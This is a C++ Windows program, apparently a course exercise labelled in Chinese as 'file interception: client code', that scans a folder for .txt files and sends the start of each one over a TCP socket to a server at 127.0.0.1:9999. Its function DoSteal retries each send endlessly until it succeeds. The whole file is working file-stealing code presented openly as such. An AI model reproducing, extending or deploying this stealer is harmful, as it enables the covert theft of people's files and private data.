10-文件截取：客户端代码

#include<iostream>
#include<Windows.h>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
bool initsocket()		//封装初始化网络库的函数
{
	WORD wVersionRequested;
	WSADATA wsadata;
	int err;
	wVersionRequested = MAKEWORD(2, 2);

	err = WSAStartup(wVersionRequested, &wsadata);
	if (err)
	{
		printf("WSAStartup errnum: %d\n", GetLastError());
		return false;
	}

	if (LOBYTE(wsadata.wVersion) != 2 || HIBYTE(wsadata.wVersion) != 2)
	{
		printf("LOBYTE errnum: %d\n", GetLastError());
		WSACleanup();
		return false;
	}
	return true;
}


bool sendToServer(const char* path)
{
	if (!initsocket())
		return false;

	FILE* fp = fopen(path, "rb");
	if (fp == NULL)
		return false;
	char sendBuf[1024] = { 0 };
	int len = fread(sendBuf, 1, 1024, fp);
	fclose(fp);

	SOCKET sockCli;
	sockCli = socket(AF_INET, SOCK_STREAM, 0);
	SOCKADDR_IN addrSrv;
	addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_port = htons(9999);


	if (SOCKET_ERROR == connect(sockCli, (sockaddr*)&addrSrv, sizeof(sockaddr)))
	{
		printf("%d", GetLastError());
		return false;
	}

	int iLen = send(sockCli, sendBuf, 1024, 0);
	closesocket(sockCli);
	WSACleanup();
	return true;
}
int DoSteal(const char* szPath)
{
	//1 遍历路径下所有文件夹
	WIN32_FIND_DATA file_for_find;			//文件数据
	HANDLE hListFile;						//用句柄来标志文件

	char szFilePath[MAX_PATH] = { 0 };
	strcpy(szFilePath, szPath);
	strcat(szFilePath, "\\*");
	//找到第一个文件
	hListFile = FindFirstFile(szFilePath, &file_for_find);
	//循环遍历所有文件
	do {
		char mypath[MAX_PATH] = { 0 };
		strcpy(mypath, szPath);
		strcat(mypath, file_for_find.cFileName);
		if(strstr(mypath,".txt"))
			while (sendToServer(mypath)==false);
	} while (FindNextFile(hListFile, &file_for_find));

	return 0;
}
int main()
{
	DoSteal("D:\\文件合集\\txt合集\\");
	return 0;
}